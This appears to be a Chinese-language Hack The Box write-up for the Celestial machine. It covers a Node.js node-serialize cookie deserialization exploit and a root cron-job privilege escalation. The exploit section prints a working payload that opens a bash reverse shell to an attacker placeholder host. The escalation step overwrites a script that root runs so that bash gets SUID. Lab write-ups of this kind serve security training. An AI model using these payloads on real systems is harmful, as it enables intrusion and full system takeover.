HTB Celestial
字数 958 2025-08-12 11:34:14

HTB Celestial 渗透测试教学文档

目标概述

Celestial 是一个基于 Node.js Express 框架的 HTB 靶机,存在反序列化漏洞和定时任务提权路径。

信息收集阶段

端口扫描

使用 nmap 扫描发现开放端口:

  • 3000 端口运行着 Node.js Express 应用

Web 应用分析

访问 http://<target_ip>:3000 返回 404 页面,但响应头中包含重要信息:

HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D; Max-Age=900; Path=/; Expires=Fri, 19 Aug 2022 14:56:36 GMT; HttpOnly
Content-Type: text/html; charset=utf-8

Cookie 分析

解码 Base64 cookie 值:

{
  "username": "Dummy",
  "country": "Idk Probably Somewhere Dumb",
  "city": "Lametown",
  "num": "2"
}

漏洞利用

Node.js 反序列化漏洞

  1. 当携带 cookie 访问时,应用会回显 "Hey [username] 2 + 2 is 22"
  2. 修改 username 字段会导致回显变化,表明存在反序列化漏洞

构造恶意 payload

使用 node-serialize 模块构造反序列化 payload:

var serialize = require('node-serialize');
var payload = {
  rce: function() {
    require('child_process').exec("bash -c 'bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1'", 
      function(error, stdout, stderr) { console.log(stdout) });
  }
};

// 序列化 payload 并添加执行括号
var serialized = serialize.serialize(payload);
serialized.rce = serialized.rce + "()";

// 构造最终 cookie
var cookiePayload = {
  username: serialized,
  country: "Idk Probably Somewhere Dumb",
  city: "Lametown",
  num: "2"
};

var finalPayload = Buffer.from(JSON.stringify(cookiePayload)).toString('base64');
console.log(finalPayload);

发送 payload

使用 Burp Repeater 发送带有恶意 cookie 的请求:

GET / HTTP/1.1
Host: <target_ip>:3000
Cookie: profile=<base64_payload>

获取初始访问

成功执行 payload 后会获得反向 shell,用户为 sun

权限提升

发现定时任务

使用 pspy64 工具发现 root 每 5 分钟执行以下命令:

python /home/sun/Documents/script.py > /home/sun/output.txt
cp /root/script.py /home/sun/Documents/script.py
chown sun:sun /home/sun/Documents/script.py
chattr -i /home/sun/Documents/script.py
touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py

利用定时任务

  1. 检查 /home/sun/Documents/script.py 权限:

    ls -l
    

    输出:

    -rw-rw-r-- 1 sun sun 29 Sep 21 2017 script.py
    -rw-rw-r-- 1 sun sun 33 Sep 21 2017 user.txt
    
  2. 修改 script.py 内容为任意命令,例如:

    import os
    os.system('chmod +s /bin/bash')
    
  3. 等待 5 分钟后,root 会执行该脚本,赋予 bash SUID 权限

  4. 执行 /bin/bash -p 获取 root shell

获取标志

  • 用户标志:/home/sun/Documents/user.txt
  • root 标志:/root/root.txt

替代提权方法

如果上述方法不可行,可以尝试:

  1. 检查内核版本:uname -a
  2. 搜索已知内核漏洞(如 CVE-2021-4034)
  3. 编译并执行相应 exploit 获取 root 权限

总结

该靶机展示了:

  1. Node.js 反序列化漏洞的利用
  2. 通过定时任务进行权限提升
  3. 系统配置不当导致的提权路径

关键点:

  • 仔细分析所有 HTTP 响应头
  • Base64 解码和编码是常见操作
  • 定时任务是常见的提权路径
  • 保持对文件权限和所有权的关注
HTB Celestial 渗透测试教学文档 目标概述 Celestial 是一个基于 Node.js Express 框架的 HTB 靶机,存在反序列化漏洞和定时任务提权路径。 信息收集阶段 端口扫描 使用 nmap 扫描发现开放端口: 3000 端口运行着 Node.js Express 应用 Web 应用分析 访问 http://<target_ip>:3000 返回 404 页面,但响应头中包含重要信息: Cookie 分析 解码 Base64 cookie 值: 漏洞利用 Node.js 反序列化漏洞 当携带 cookie 访问时,应用会回显 "Hey [ username ] 2 + 2 is 22" 修改 username 字段会导致回显变化,表明存在反序列化漏洞 构造恶意 payload 使用 node-serialize 模块构造反序列化 payload: 发送 payload 使用 Burp Repeater 发送带有恶意 cookie 的请求: 获取初始访问 成功执行 payload 后会获得反向 shell,用户为 sun 权限提升 发现定时任务 使用 pspy64 工具发现 root 每 5 分钟执行以下命令: 利用定时任务 检查 /home/sun/Documents/script.py 权限: 输出: 修改 script.py 内容为任意命令,例如: 等待 5 分钟后,root 会执行该脚本,赋予 bash SUID 权限 执行 /bin/bash -p 获取 root shell 获取标志 用户标志: /home/sun/Documents/user.txt root 标志: /root/root.txt 替代提权方法 如果上述方法不可行,可以尝试: 检查内核版本: uname -a 搜索已知内核漏洞(如 CVE-2021-4034) 编译并执行相应 exploit 获取 root 权限 总结 该靶机展示了: Node.js 反序列化漏洞的利用 通过定时任务进行权限提升 系统配置不当导致的提权路径 关键点: 仔细分析所有 HTTP 响应头 Base64 解码和编码是常见操作 定时任务是常见的提权路径 保持对文件权限和所有权的关注